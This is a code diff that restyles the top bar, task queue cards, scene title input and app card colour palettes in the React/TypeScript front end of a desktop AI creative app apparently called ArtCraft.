import { Input } from "@storyteller/ui-input";
import { MediaFilesApi } from "~/Classes/ApiManager/MediaFilesApi";
import { getCreatorIcon, ModelCreator } from "@storyteller/model-list";
interface Props {
pageName: string;
@@ -94,29 +95,27 @@ export const SceneTitleInput = ({ pageName }: Props) => {
data-tauri-drag-region
>
{!showInput && (
<div className="flex items-center gap-1.5" data-tauri-drag-region>
<span
className="hud-label text-nowrap text-base-fg/70"
data-tauri-drag-region
>
{pageName}
</span>
<ChevronRightIcon
aria-hidden="true"
className="h-3 w-3 shrink-0 text-base-fg/50"
/>
<div className="flex items-center gap-2.5" data-tauri-drag-region>
{getCreatorIcon(
ModelCreator.ArtCraft,
"h-5 w-5 icon-auto-contrast opacity-60",
)}
<span className="text-nowrap opacity-60">{pageName}</span>
<span className="opacity-60">/</span>
{isSceneOwner ? (
<button
className="flex max-w-[280px] items-center border border-transparent px-3 py-1.5 text-sm font-semibold text-white transition-colors hover:cursor-text hover:bg-white/10"
className="ml-0.5 rounded-md px-2 py-1 transition-all hover:cursor-text hover:bg-white/[8%]"
onClick={handleShowInput}
data-tauri-drag-region="false"
>
<span className="truncate">{scene.value.title || ""}</span>
<PencilIcon className="ml-2 shrink-0 text-sm opacity-50" />
{scene.value.title || ""}
<PencilIcon
className="ml-2 text-sm opacity-50" />
</button>
) : (
<div className="max-w-[280px] truncate border border-transparent px-3 py-1.5 text-sm font-semibold text-white/80">
<div className="ml-0.5 rounded-md px-2 py-1">
{scene.value.title || ""}
</div>
)}
@@ -129,8 +128,8 @@ export const SceneTitleInput = ({ pageName }: Props) => {
disabled={scene.value.ownerToken !== userInfo.value?.user_token}
className="w-[420px]"
inputClassName={twMerge(
"text-center h-[34px] text-sm font-semibold focus:outline-white/60",
isSaving && "outline-white/30",
"text-center h-8 focus:outline-brand-primary",
isSaving && "outline-brand-secondary",
)}
isError={!isValid}
value={scene.value.title || ""}
@@ -153,9 +152,7 @@ export const SceneTitleInput = ({ pageName }: Props) => {
</div>
)}
{isSaving && (
<LoaderCircleIcon className="shrink-0 animate-spin text-sm opacity-70" />
)}
{isSaving && <LoaderCircleIcon className="animate-spin" />}
</div>
);
};
@@ -41,7 +41,6 @@ import { coverImageCache } from "~/pages/PageImageTo3DObject/ImageTo3DStore";
import { useCreditsState } from "@storyteller/credits";
import { getMetaForTask, cleanupOldEntries } from "./taskEnqueueMeta";
import { twMerge } from "tailwind-merge";
import dayjs from "dayjs";
type InProgressTask = {
id: string;
@@ -160,7 +159,7 @@ const CopyPromptButton = ({ prompt }: { prompt: string }) => {
delay={300}
>
<button
className="flex h-6 w-6 items-center justify-center text-base-fg/60 hover:bg-ui-controls"
className="flex h-6 w-6 items-center justify-center rounded-full text-base-fg/60 hover:bg-ui-controls"
aria-label="Copy prompt"
onClick={(e) => {
e.stopPropagation();
@@ -196,7 +195,7 @@ const InProgressCard = ({
const hasRefImages = task.refImageUrls && task.refImageUrls.length > 0;
const thumbnailContent = hasRefImages ? (
<div className="relative h-[72px] w-[72px] shrink-0 overflow-hidden">
<div className="relative h-[86px] w-[86px] shrink-0 overflow-hidden rounded">
<img
src={task.refImageUrls![0]}
alt="Reference"
@@ -213,13 +212,13 @@ const InProgressCard = ({
size="lg" />
</div>
{task.refImageUrls!.length > 1 && (
<div className="absolute bottom-0.5 right-0.5 bg-black/60 px-1 text-[9px] text-white/80">
<div className="absolute bottom-0.5 right-0.5 rounded bg-black/60 px-1 text-[9px] text-white/80">
+{task.refImageUrls!.length - 1}
</div>
)}
</div>
) : (
<div className="flex h-[72px] w-[72px] shrink-0 items-center justify-center overflow-hidden bg-ui-controls">
<div className="flex h-[86px] w-[86px] shrink-0 items-center justify-center overflow-hidden rounded bg-ui-controls">
<LoaderCircleIcon
className="animate-spin text-base-fg/60"
@@ -228,7 +227,7 @@ const InProgressCard = ({
);
return (
<div className="p-2 transition-colors hover:bg-ui-controls/40">
<div className="rounded-md p-2 transition-colors hover:bg-ui-controls/40">
<div className="flex items-center gap-2.5">
{thumbnailContent}
<div className="min-w-0 flex-1">
@@ -240,7 +239,7 @@ const InProgressCard = ({
content="Seedance 2.0 is in Early Alpha. Generations may be slow and may experience outages."
position="top"
strategy="fixed"
className="w-[200px] text-wrap bg-yellow-400/60"
className="w-[200px] text-wrap bg-yellow-400/60 backdrop-blur-3xl"
zIndex={50}
delay={100}
>
@@ -250,7 +249,7 @@ const InProgressCard = ({
</Tooltip>
)}
</div>
<div className="ml-2 shrink-0 text-xs tabular-nums text-base-fg/60">
<div className="ml-2 shrink-0 text-[11px] tabular-nums text-base-fg/60">
{progressPercent}%
</div>
</div>
@@ -260,9 +259,9 @@ const InProgressCard = ({
</div>
)}
<div className="mt-1.5 flex items-center gap-2">
<div className="h-1.5 min-w-0 flex-1 bg-ui-controls">
<div className="h-1.5 min-w-0 flex-1 rounded bg-ui-controls">
<div
className="h-1.5 bg-white"
className="h-1.5 rounded bg-brand-primary-400"
style={{
width: `${Math.max(0, Math.min(100, task.progress))}%`,
}}
@@ -270,7 +269,7 @@ const InProgressCard = ({
</div>
</div>
{timeLabel && (
<div className="mt-1 text-xs text-base-fg/50">{timeLabel}</div>
<div className="mt-1 text-[11px] text-base-fg/50">{timeLabel}</div>
)}
{task.prompt && <PromptLine prompt={task.prompt} className="mt-0" />}
</div>
@@ -278,7 +277,7 @@ const InProgressCard = ({
{task.prompt && <CopyPromptButton prompt={task.prompt} />}
{onDismiss && (
<button
className="flex h-6 w-6 items-center justify-center text-base-fg/60 hover:bg-ui-controls"
className="flex h-6 w-6 items-center justify-center rounded-full text-base-fg/60 hover:bg-ui-controls"
aria-label="Dismiss"
onClick={(e) => {
e.stopPropagation();
@@ -305,12 +304,12 @@ const CompletedCard = ({
}) => {
return (
<div
className="flex cursor-pointer items-center gap-2.5 p-2 transition-colors hover:bg-ui-controls/40"
className="flex cursor-pointer items-center gap-2.5 rounded-md p-2 transition-colors hover:bg-ui-controls/40"
onClick={onClick}
role={onClick ? "button" : undefined}
tabIndex={onClick ? 0 : -1}
>
<div className="h-[72px] w-[72px] shrink-0 overflow-hidden bg-ui-controls">
<div className="h-[86px] w-[86px] shrink-0 overflow-hidden rounded bg-ui-controls">
{task.thumbnailUrl ? (
<img
src={task.thumbnailUrl}
@@ -343,7 +342,7 @@ const CompletedCard = ({
)}
{task.completedAt && (
<div className="text-xs text-base-fg opacity-60">
{dayjs(task.completedAt).format("MMM D, h:mm A")}
{task.completedAt.toISOString()}
</div>
)}
{task.prompt && <PromptLine prompt={task.prompt} />}
@@ -352,7 +351,7 @@ const CompletedCard = ({
{task.prompt && <CopyPromptButton prompt={task.prompt} />}
{onDismiss && (
<button
className="flex h-6 w-6 items-center justify-center text-base-fg/60 hover:bg-ui-controls"
className="flex h-6 w-6 items-center justify-center rounded-full text-base-fg/60 hover:bg-ui-controls"
aria-label="Dismiss"
onClick={(e) => {
e.stopPropagation();
@@ -399,7 +398,7 @@ const FailedCard = ({
const hasRefImages = task.refImageUrls && task.refImageUrls.length > 0;
const thumbnailContent = hasRefImages ? (
<div className="relative h-[72px] w-[72px] shrink-0 overflow-hidden">
<div className="relative h-[86px] w-[86px] shrink-0 overflow-hidden rounded">
<img
src={task.refImageUrls![0]}
alt="Reference"
@@ -416,13 +415,13 @@ const FailedCard = ({
size="lg" />
</div>
{task.refImageUrls!.length > 1 && (
<div className="absolute bottom-0.5 right-0.5 bg-black/60 px-1 text-[9px] text-white/80">
<div className="absolute bottom-0.5 right-0.5 rounded bg-black/60 px-1 text-[9px] text-white/80">
+{task.refImageUrls!.length - 1}
</div>
)}
</div>
) : (
<div className="flex h-[72px] w-[72px] shrink-0 items-center justify-center overflow-hidden bg-red-500/10">
<div className="flex h-[86px] w-[86px] shrink-0 items-center justify-center overflow-hidden rounded bg-red-500/10">
<CircleAlertIcon
className="text-red-400"
@@ -431,7 +430,7 @@ const FailedCard = ({
);
return (
<div className="p-2 transition-colors hover:bg-ui-controls/40">
<div className="rounded-md p-2 transition-colors hover:bg-ui-controls/40">
<div className="flex items-center gap-2.5">
{thumbnailContent}
<div className="min-w-0 flex-1">
@@ -446,7 +445,7 @@ const FailedCard = ({
</div>
)}
<div className="mt-1 flex min-w-0 items-center gap-1.5 overflow-hidden">
<span className="shrink-0 bg-red-500/15 px-1.5 py-0 text-[11px] font-medium text-red-400">
<span className="shrink-0 rounded bg-red-500/15 px-1.5 py-0 text-[11px] font-medium text-red-400">
{statusLabel}
</span>
{task.failureReason && (
@@ -479,18 +478,13 @@ const FailedCard = ({
</div>
)}
</div>
{task.failedAt && (
<div className="mt-0.5 text-[11px] text-base-fg/40">
{dayjs(task.failedAt).format("MMM D, h:mm A")}
</div>
)}
{task.prompt && <PromptLine prompt={task.prompt} />}
</div>
<div className="ml-auto flex shrink-0 items-center gap-1">
{task.prompt && <CopyPromptButton prompt={task.prompt} />}
{onDismiss && (
<button
className="flex h-6 w-6 items-center justify-center text-base-fg/60 hover:bg-ui-controls"
className="flex h-6 w-6 items-center justify-center rounded-full text-base-fg/60 hover:bg-ui-controls"
aria-label="Dismiss"
onClick={(e) => {
e.stopPropagation();
@@ -1008,21 +1002,23 @@ export const TaskQueue = () => {
<Tooltip content="Task Queue" position="bottom" closeOnClick={true}>
<div className="relative">
{badgeCount > 0 && (
<div className="absolute -right-1 -top-1 z-20 flex h-[15px] min-w-[15px] items-center justify-center bg-white px-1 font-mono text-[10px] font-semibold text-black ring-2 ring-[#0b0b0c]">
<div className="absolute -right-1 -top-1 z-20 flex h-[17px] w-[17px] items-center justify-center rounded-full bg-brand-primary-400 text-[13px] font-medium text-white">
{badgeCount}
</div>
)}
<PopoverMenu
mode="default"
buttonClassName="h-8 w-8 !p-0 relative bg-transparent hover:bg-white/10 border border-white/15 hover:border-white/30 text-white/80 rounded-[3px] shadow-none"
panelClassName="w-[400px] p-2 bg-[#101014] border border-white/15 mt-2 rounded-[3px]"
buttonClassName="h-[34px] w-[34px] !p-0 relative"
panelClassName="w-[400px] p-2 bg-ui-panel mt-2.5"
position="bottom"
align="end"
triggerIcon={
inProgressCount > 0 ? (
<LoaderCircleIcon className="animate-spin text-[11px]" />
<LoaderCircleIcon
className="animate-spin" />
) : (
<ListChecksIcon className="text-[11px]" />
<ListChecksIcon />
)
}
onOpenChange={handleOpenChange}
@@ -1041,7 +1037,7 @@ export const TaskQueue = () => {
<div>
{inProgress.length > 0 && (
<div className="mb-4">
<div className="mb-1 px-1 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/50">
<div className="mb-1 px-1 text-xs uppercase tracking-wide text-base-fg/50">
In Progress
</div>
{inProgress.map((t) => (
@@ -1060,7 +1056,7 @@ export const TaskQueue = () => {
{failed.length > 0 && (
<div className="mb-4">
<div className="mb-1 flex items-center justify-between px-1">
<div className="font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-red-400/70">
<div className="text-xs font-semibold uppercase tracking-wide text-red-400/70">
Failed
</div>
<button
@@ -1085,7 +1081,7 @@ export const TaskQueue = () => {
{completed.length > 0 && (
<div>
<div className="mb-1 flex items-center justify-between px-1">
<div className="font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/50">
<div className="text-xs font-semibold uppercase tracking-wide text-base-fg/50">
Completed
</div>
<button
@@ -1163,7 +1159,7 @@ export const TaskQueue = () => {
showClose={false}
>
<div className="flex h-full flex-col">
<div className="border-b border-ui-panel-border bg-ui-panel">
<div className="rounded-t-xl border-ui-panel-border bg-ui-panel">
<div className="flex items-center justify-between p-3">
<h2 className="text-lg font-semibold">Task Queue</h2>
<div className="flex items-center gap-2">
@@ -1211,7 +1207,7 @@ export const TaskQueue = () => {
<div>
{inProgress.length > 0 && (
<div className="mb-4">
<div className="mb-1 px-1 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/50">
<div className="mb-2 px-1 text-xs uppercase tracking-wide text-base-fg/50">
In Progress
</div>
{inProgress.map((t) => (
@@ -1227,7 +1223,7 @@ export const TaskQueue = () => {
)}
{failed.length > 0 && (
<div className="mb-4">
<div className="mb-1 px-1 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-red-400/70">
<div className="mb-2 px-1 text-xs uppercase tracking-wide text-red-400/70">
Failed
</div>
{failed.map((t) => (
@@ -1241,7 +1237,7 @@ export const TaskQueue = () => {
)}
{completed.length > 0 && (
<div>
<div className="mb-1 px-1 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/50">
<div className="mb-2 px-1 text-xs uppercase tracking-wide text-base-fg/50">
Completed
</div>
{completed.map((t) => (
@@ -1,7 +1,8 @@
import { CalculatorIcon, CheckIcon, ChevronRightIcon, CircleAlertIcon, CoinsIcon, GemIcon, HouseIcon, ImagesIcon, MinusIcon, PictureInPicture2Icon, SettingsIcon, SquareIcon, XIcon } from "lucide-react";
import { CalculatorIcon, CheckIcon, CircleAlertIcon, CoinsIcon, GemIcon, HouseIcon, ImagesIcon, MinusIcon, PictureInPicture2Icon, SettingsIcon, SquareIcon, XIcon } from "lucide-react";
import { DynamicIcon } from "@storyteller/icons";
import { signal } from "@preact/signals-react";
import { useSignals } from "@preact/signals-react/runtime";
import { getCreatorIcon, ModelCreator } from "@storyteller/model-list";
import { useCreditsState, type CreditsIconStatus } from "@storyteller/credits";
import { gtagEvent } from "@storyteller/google-analytics";
import { ProviderBillingModal } from "@storyteller/provider-billing-modal";
@@ -41,7 +42,7 @@ import {
} from "@storyteller/ui-generation-list";
import { SettingsModal } from "@storyteller/ui-settings-modal";
import { Tooltip } from "@storyteller/ui-tooltip";
import { Fragment, useEffect, useRef, useState } from "react";
import { useEffect, useRef, useState } from "react";
import { APP_DESCRIPTORS, goToApp } from "~/config/appMenu";
import {
applyMakeVideoFromImage,
@@ -166,10 +167,10 @@ const CreditsCoinWithStatus = ({
}
>
<span className="relative inline-flex">
<CoinsIcon className="text-[11px] text-primary" />
<CoinsIcon className="text-primary" />
{showBadge && (
<span
className={`absolute -right-1.5 -top-1.5 flex h-3 w-3 items-center justify-center ring-1 ring-ui-panel ${badgeColorClass}`}
className={`absolute -right-1.5 -top-1.5 flex h-3 w-3 items-center justify-center rounded-full ring-1 ring-ui-background ${badgeColorClass}`}
>
<DynamicIcon icon={badgeIconDef} className="text-[7px]" />
</span>
@@ -346,50 +347,40 @@ export const TopBar = ({ pageName }: Props) => {
}
};
const getPageCrumbs = (): string[] => {
const getPageTitle = (): string => {
switch (tabStore.activeTabId) {
case "2D":
return ["Studio", "Canvas"];
return "Canvas";
case "3D":
return ["Studio", "3D Editor"];
return "3D Editor";
case "IMAGE":
return ["Create", "Image"];
return "Create Image";
case "VIDEO":
return ["Create", "Video"];
return "Create Video";
case "AUDIO":
return ["Create", "Audio"];
return "Create Audio";
case "EDIT":
return ["Studio", "Edit Image"];
return "Edit Image";
case "VIDEO_FRAME_EXTRACTOR":
return ["Studio", "Frame Extractor"];
return "Video Frame Extractor";
case "VIDEO_WATERMARK_REMOVAL":
return ["Studio", "Video Watermark Remover"];
return "Video Watermark Remover";
case "IMAGE_WATERMARK_REMOVAL":
return ["Studio", "Image Watermark Remover"];
return "Image Watermark Remover";
case "IMAGE_TO_3D_OBJECT":
return ["Create", "3D Object"];
return "Image to 3D Object";
case "IMAGE_TO_3D_WORLD":
return ["Create", "3D World"];
case "REMOVE_BACKGROUND":
return ["Studio", "Remove Background"];
case "ANGLES":
return ["Create", "Angles"];
case "STORYBOARD":
return ["Create", "Storyboard"];
case "BACKGROUND_CHANGE":
return ["Studio", "Background Change"];
case "VIDEO_EDITOR":
return ["Studio", "Edit Video"];
case "MOODBOARD":
return ["Studio", "Moodboard"];
return "Image to 3D World";
case "APPS":
return ["Home"];
return "ArtCraft";
case "BACKGROUND_CHANGE":
return "Background Change";
default:
return ["ArtCraft"];
return "Artcraft";
}
};
const pageCrumbs = getPageCrumbs();
const pageTitle = getPageTitle();
const { toggleModal: toggleSubscriptionModal } = usePricingModalStore();
const { toggleModal: toggleCreditsModal } = useCreditsModalStore();
@@ -427,7 +418,7 @@ export const TopBar = ({ pageName }: Props) => {
return (
<>
<header
className="fixed left-0 top-0 z-[60] w-full border-b border-ui-border bg-ui-panel"
className="fixed left-0 top-0 z-[60] w-full border-b border-ui-panel-border bg-ui-background"
data-tauri-drag-region
>
<nav
@@ -488,47 +479,27 @@ export const TopBar = ({ pageName }: Props) => {
</div>
<div
className={`${tabStore.activeTabId === "3D" ? "no-drag" : ""} flex min-w-0 items-center justify-center gap-2 font-medium`}
className={`${tabStore.activeTabId === "3D" ? "no-drag" : ""} flex items-center justify-center gap-2 font-medium`}
data-tauri-drag-region
>
{tabStore.activeTabId === "3D" ? (
<SceneTitleInput pageName={pageName} />
) : (
<h1
className="hud-label flex min-w-0 items-center gap-1.5 text-base-fg/70"
className="flex items-center gap-2.5 text-base-fg"
data-tauri-drag-region
>
{pageCrumbs.map((crumb, i) => {
const isLast = i === pageCrumbs.length - 1;
return (
<Fragment key={`${crumb}-${i}`}>
{i > 0 && (
<ChevronRightIcon
aria-hidden="true"
className="h-3 w-3 shrink-0 text-base-fg/50"
data-tauri-drag-region
/>
)}
<span
className={
isLast
? "truncate bg-ui-ink px-1.5 py-1 text-ui-panel"
: "truncate"
}
aria-current={isLast ? "page" : undefined}
data-tauri-drag-region
>
{crumb}
</span>
</Fragment>
);
})}
{getCreatorIcon(
ModelCreator.ArtCraft,
"h-5 w-5 icon-auto-contrast opacity-50",
)}
{pageTitle}
</h1>
)}
</div>
<div className="flex justify-end gap-2" data-tauri-drag-region>
<div className="no-drag flex items-center gap-1.5 sm:gap-2">
<div className="no-drag flex items-center gap-1.5">
{(tabStore.activeTabId === "IMAGE" ||
tabStore.activeTabId === "VIDEO") && <GallerySelectToggle />}
{tabStore.activeTabId === "VIDEO" && <GalleryAutoplayToggle />}
@@ -537,26 +508,26 @@ export const TopBar = ({ pageName }: Props) => {
tabStore.activeTabId === "AUDIO") && <GalleryViewToggle />}
<PopoverMenu
position="bottom"
align="end"
align="center"
triggerIcon={
<CreditsCoinWithStatus iconStatus={creditsIconStatus} />
}
triggerLabel={
<span className="whitespace-nowrap text-sm font-medium">
{sumTotalCredits.toLocaleString()}
{sumTotalCredits} Credits
</span>
}
buttonClassName="h-8 px-3 ps-2.5 bg-transparent hover:bg-white/10 border border-white/15 hover:border-white/30 shadow-none text-white/80 rounded-[3px] gap-1.5"
panelClassName="mt-2 bg-[#101014] border border-white/15 text-white rounded-[3px]"
buttonClassName="h-[30px] px-2 ps-1.5 bg-transparent hover:bg-ui-controls/30 border-0 shadow-none"
panelClassName="mt-3 bg-ui-panel border border-ui-panel-border text-base-fg"
>
{(close) => (
<div className="w-72 p-3 text-white">
<div className="w-72 p-2.5 text-base-fg">
<div className="mb-2 flex items-center justify-between">
<span className="text-sm font-medium text-white/70">
<span className="flex items-center gap-1.5 text-sm font-medium text-base-fg/80">
Your credit balance
</span>
<button
className="text-sm font-medium text-primary transition-colors hover:text-primary-300"
className="text-sm font-medium text-primary-400 transition-all hover:text-primary-300"
onClick={() => {
close();
toggleCreditsModal();
@@ -565,13 +536,15 @@ export const TopBar = ({ pageName }: Props) => {
Buy credits
</button>
</div>
<div className="flex items-center gap-2 text-3xl font-semibold tracking-tight text-white">
<CoinsIcon className="text-xl text-primary" />
{sumTotalCredits.toLocaleString()}
<div className="flex items-center gap-2 text-4xl font-bold text-base-fg">
<CoinsIcon
className="text-2xl text-primary" />
{sumTotalCredits}
</div>
<button
className="mt-2 flex items-center gap-1.5 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-white/50 transition-colors hover:text-white"
className="mt-2 flex items-center gap-1.5 text-xs text-base-fg/50 transition-colors hover:text-primary"
onClick={() => {
close();
useCostBreakdownModalStore.getState().openModal();
@@ -583,7 +556,7 @@ export const TopBar = ({ pageName }: Props) => {
<div className="mt-3 flex gap-2">
<Button
variant="secondary"
variant="action"
className="h-9 grow"
onClick={() => {
close();
@@ -613,35 +586,20 @@ export const TopBar = ({ pageName }: Props) => {
variant="primary"
icon={GemIcon}
onClick={toggleSubscriptionModal}
className="h-8 px-3"
className="transition-all duration-300"
>
Upgrade
</Button>
)}
<TaskQueue />
<button
type="button"
onClick={handleOpenGalleryModal}
aria-label="My Library"
className="flex h-8 items-center gap-1.5 rounded-[3px] border border-white/15 px-3 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-white/80 transition-colors hover:border-white/30 hover:bg-white/10"
>
<ImagesIcon className="text-[11px]" />
<span className="hidden whitespace-nowrap xl:block">
My Library
</span>
</button>
<UploadImagesButton />
<UploadImagesButton className="h-[34px] w-[34px]" />
<Tooltip content="Settings" position="bottom" delay={300}>
<Button
aria-label="Settings"
variant="secondary"
icon={SettingsIcon}
iconClassName="h-4 w-4 shrink-0"
className="h-8 w-8 border-white/15 bg-transparent p-0 text-white/80 hover:border-white/30 hover:bg-white/10"
iconClassName="h-5 w-5 shrink-0"
className="h-[34px] w-[34px] p-0"
onClick={() => {
setSettingsSection("general");
setIsSettingsModalOpen(true);
@@ -649,6 +607,19 @@ export const TopBar = ({ pageName }: Props) => {
}}
/>
</Tooltip>
<Button
variant="secondary"
icon={ImagesIcon}
onClick={handleOpenGalleryModal}
>
<span className="hidden whitespace-nowrap text-base-fg xl:block">
My Library
</span>
</Button>
{/* <Activity /> */}
<TaskQueue />
</div>
<div className="no-drag">
@@ -659,14 +630,14 @@ export const TopBar = ({ pageName }: Props) => {
<div className="no-drag flex items-center">
<Button
variant="secondary"
className="h-[32px] w-[44px] rounded-none border-0 bg-transparent p-0 text-base-fg opacity-70 shadow-none hover:bg-white/10 hover:opacity-100"
className="h-[32px] w-[44px] rounded-none border-0 bg-transparent text-base-fg opacity-70 shadow-none hover:bg-ui-controls/20 hover:opacity-100"
onClick={minimize}
>
<MinusIcon className="text-xs" />
<MinusIcon className="text-xs" />
</Button>
<Button
variant="secondary"
className="h-[32px] w-[44px] rounded-none border-0 bg-transparent p-0 text-base-fg opacity-70 shadow-none hover:bg-white/10 hover:opacity-100"
className="h-[32px] w-[44px] rounded-none border-0 bg-transparent text-base-fg opacity-70 shadow-none hover:bg-ui-controls/20 hover:opacity-100"
onClick={toggleMaximize}
>
<DynamicIcon
@@ -676,10 +647,10 @@ export const TopBar = ({ pageName }: Props) => {
</Button>
<Button
variant="secondary"
className="h-[32px] w-[44px] rounded-none border-0 bg-transparent p-0 text-base-fg opacity-70 shadow-none hover:bg-red hover:text-white hover:opacity-100"
className="h-[32px] w-[44px] rounded-none border-0 bg-transparent text-base-fg opacity-70 shadow-none hover:bg-red/10 hover:text-red"
onClick={close}
>
<XIcon className="text-lg" />
<XIcon className="text-lg" />
</Button>
</div>
)}
@@ -18,11 +18,8 @@ export const UploadImagesButton = ({ className }: Props) => {
<Button
variant="secondary"
icon={UploadIcon}
iconClassName="h-4 w-4 shrink-0"
className={twMerge(
"h-8 w-8 rounded-[3px] border border-white/15 bg-transparent p-0 text-white/80 shadow-none hover:border-white/30 hover:bg-white/10",
className,
)}
iconClassName="h-5 w-5 shrink-0"
className={twMerge("h-[38px] w-[38px] p-0", className)}
onClick={() => setIsOpen(true)}
/>
</Tooltip>
@@ -83,122 +83,98 @@ export interface FullAppItem {
}
// Per-app card palette for the Apps page (webapp-home-style cards). Derived
// from each app's Tailwind color family so the icon tile, its border, and the
// hover state all share a hue. Keyed by app id; falls back to a neutral tone
// when an id is missing.
// from each app's Tailwind color family so the icon box, its border, and the
// hover gradient all share a hue. Keyed by app id; falls back to a neutral
// slate when an id is missing.
interface AppCardPalette {
/** Hover tint for the card, e.g. "from-blue-500/20 to-blue-500/0". Legacy. */
/** Hover gradient overlay, e.g. "from-blue-500/20 to-blue-500/0". */
accent: string;
/** Icon tile background + border, e.g. "bg-blue-500/20 border-blue-400/40". */
/** Icon box background + border, e.g. "bg-blue-500/20 border-blue-400/30". */
iconBg: string;
/** Icon glyph color, e.g. "text-blue-300". */
iconColor: string;
/** Card hover border + background, e.g. "hover:border-blue-400/60 hover:bg-blue-500/10". */
hoverStyle: string;
}
const APP_CARD_PALETTES: Record<string, AppCardPalette> = {
"text-to-image": {
accent: "from-blue-500/20 to-blue-500/0",
iconBg: "bg-blue-500/20 border-blue-400/40",
iconBg: "bg-blue-500/20 border-blue-400/30",
iconColor: "text-blue-300",
hoverStyle: "hover:border-blue-400/60 hover:bg-blue-500/10",
},
"image-to-video": {
accent: "from-purple-500/20 to-purple-500/0",
iconBg: "bg-purple-500/20 border-purple-400/40",
iconColor: "text-purple-300",
hoverStyle: "hover:border-purple-400/60 hover:bg-purple-500/10",
accent: "from-amber-500/20 to-amber-500/0",
iconBg: "bg-amber-500/20 border-amber-400/30",
iconColor: "text-amber-300",
},
"create-audio": {
accent: "from-pink-500/20 to-pink-500/0",
iconBg: "bg-pink-500/20 border-pink-400/40",
iconBg: "bg-pink-500/20 border-pink-400/30",
iconColor: "text-pink-300",
hoverStyle: "hover:border-pink-400/60 hover:bg-pink-500/10",
},
"image-to-3d-object": {
accent: "from-cyan-500/20 to-cyan-500/0",
iconBg: "bg-cyan-500/20 border-cyan-400/40",
iconColor: "text-cyan-300",
hoverStyle: "hover:border-cyan-400/60 hover:bg-cyan-500/10",
accent: "from-emerald-500/20 to-emerald-500/0",
iconBg: "bg-emerald-500/20 border-emerald-400/30",
iconColor: "text-emerald-300",
},
"image-to-3d-world": {
accent: "from-teal-500/20 to-teal-500/0",
iconBg: "bg-teal-500/20 border-teal-400/40",
iconColor: "text-teal-300",
hoverStyle: "hover:border-teal-400/60 hover:bg-teal-500/10",
},
"3d-editor": {
accent: "from-amber-500/20 to-amber-500/0",
iconBg: "bg-amber-500/20 border-amber-400/40",
iconColor: "text-amber-300",
hoverStyle: "hover:border-amber-400/60 hover:bg-amber-500/10",
},
"background-change": {
accent: "from-emerald-500/20 to-emerald-500/0",
iconBg: "bg-emerald-500/20 border-emerald-400/40",
iconColor: "text-emerald-300",
hoverStyle: "hover:border-emerald-400/60 hover:bg-emerald-500/10",
},
"video-editor": {
accent: "from-rose-500/20 to-rose-500/0",
iconBg: "bg-rose-500/20 border-rose-400/40",
iconColor: "text-rose-300",
hoverStyle: "hover:border-rose-400/60 hover:bg-rose-500/10",
},
moodboard: {
accent: "from-indigo-500/20 to-indigo-500/0",
iconBg: "bg-indigo-500/20 border-indigo-400/40",
iconColor: "text-indigo-300",
hoverStyle: "hover:border-indigo-400/60 hover:bg-indigo-500/10",
},
"video-frame-extractor": {
accent: "from-orange-500/20 to-orange-500/0",
iconBg: "bg-orange-500/20 border-orange-400/40",
iconColor: "text-orange-300",
hoverStyle: "hover:border-orange-400/60 hover:bg-orange-500/10",
},
"edit-image": {
accent: "from-sky-500/20 to-sky-500/0",
iconBg: "bg-sky-500/20 border-sky-400/40",
iconBg: "bg-sky-500/20 border-sky-400/30",
iconColor: "text-sky-300",
hoverStyle: "hover:border-sky-400/60 hover:bg-sky-500/10",
},
"2d-canvas": {
accent: "from-sky-500/20 to-sky-500/0",
iconBg: "bg-sky-500/20 border-sky-400/40",
iconColor: "text-sky-300",
hoverStyle: "hover:border-sky-400/60 hover:bg-sky-500/10",
},
"remove-background": {
accent: "from-violet-500/20 to-violet-500/0",
iconBg: "bg-violet-500/20 border-violet-400/40",
iconColor: "text-violet-300",
hoverStyle: "hover:border-violet-400/60 hover:bg-violet-500/10",
},
angles: {
accent: "from-lime-500/20 to-lime-500/0",
iconBg: "bg-lime-500/20 border-lime-400/40",
iconBg: "bg-lime-500/20 border-lime-400/30",
iconColor: "text-lime-300",
hoverStyle: "hover:border-lime-400/60 hover:bg-lime-500/10",
},
storyboard: {
accent: "from-fuchsia-500/20 to-fuchsia-500/0",
iconBg: "bg-fuchsia-500/20 border-fuchsia-400/40",
iconBg: "bg-fuchsia-500/20 border-fuchsia-400/30",
iconColor: "text-fuchsia-300",
hoverStyle: "hover:border-fuchsia-400/60 hover:bg-fuchsia-500/10",
},
"2d-canvas": {
accent: "from-sky-500/20 to-sky-500/0",
iconBg: "bg-sky-500/20 border-sky-400/30",
iconColor: "text-sky-300",
},
"3d-editor": {
accent: "from-emerald-500/20 to-emerald-500/0",
iconBg: "bg-emerald-500/20 border-emerald-400/30",
iconColor: "text-emerald-300",
},
"edit-image": {
accent: "from-purple-500/20 to-purple-500/0",
iconBg: "bg-purple-500/20 border-purple-400/30",
iconColor: "text-purple-300",
},
"remove-background": {
accent: "from-violet-500/20 to-violet-500/0",
iconBg: "bg-violet-500/20 border-violet-400/30",
iconColor: "text-violet-300",
},
"video-frame-extractor": {
accent: "from-rose-500/20 to-rose-500/0",
iconBg: "bg-rose-500/20 border-rose-400/30",
iconColor: "text-rose-300",
},
"background-change": {
accent: "from-orange-500/20 to-orange-500/0",
iconBg: "bg-orange-500/20 border-orange-400/30",
iconColor: "text-orange-300",
},
"video-editor": {
accent: "from-teal-500/20 to-teal-500/0",
iconBg: "bg-teal-500/20 border-teal-400/30",
iconColor: "text-teal-300",
},
"video-watermark-removal": {
accent: "from-yellow-500/20 to-yellow-500/0",
iconBg: "bg-yellow-500/20 border-yellow-400/40",
iconColor: "text-yellow-300",
hoverStyle: "hover:border-yellow-400/60 hover:bg-yellow-500/10",
accent: "from-cyan-500/20 to-cyan-500/0",
iconBg: "bg-cyan-500/20 border-cyan-400/30",
iconColor: "text-cyan-300",
},
"image-watermark-removal": {
accent: "from-red-500/20 to-red-500/0",
iconBg: "bg-red-500/20 border-red-400/40",
iconColor: "text-red-300",
hoverStyle: "hover:border-red-400/60 hover:bg-red-500/10",
accent: "from-indigo-500/20 to-indigo-500/0",
iconBg: "bg-indigo-500/20 border-indigo-400/30",
iconColor: "text-indigo-300",
},
};
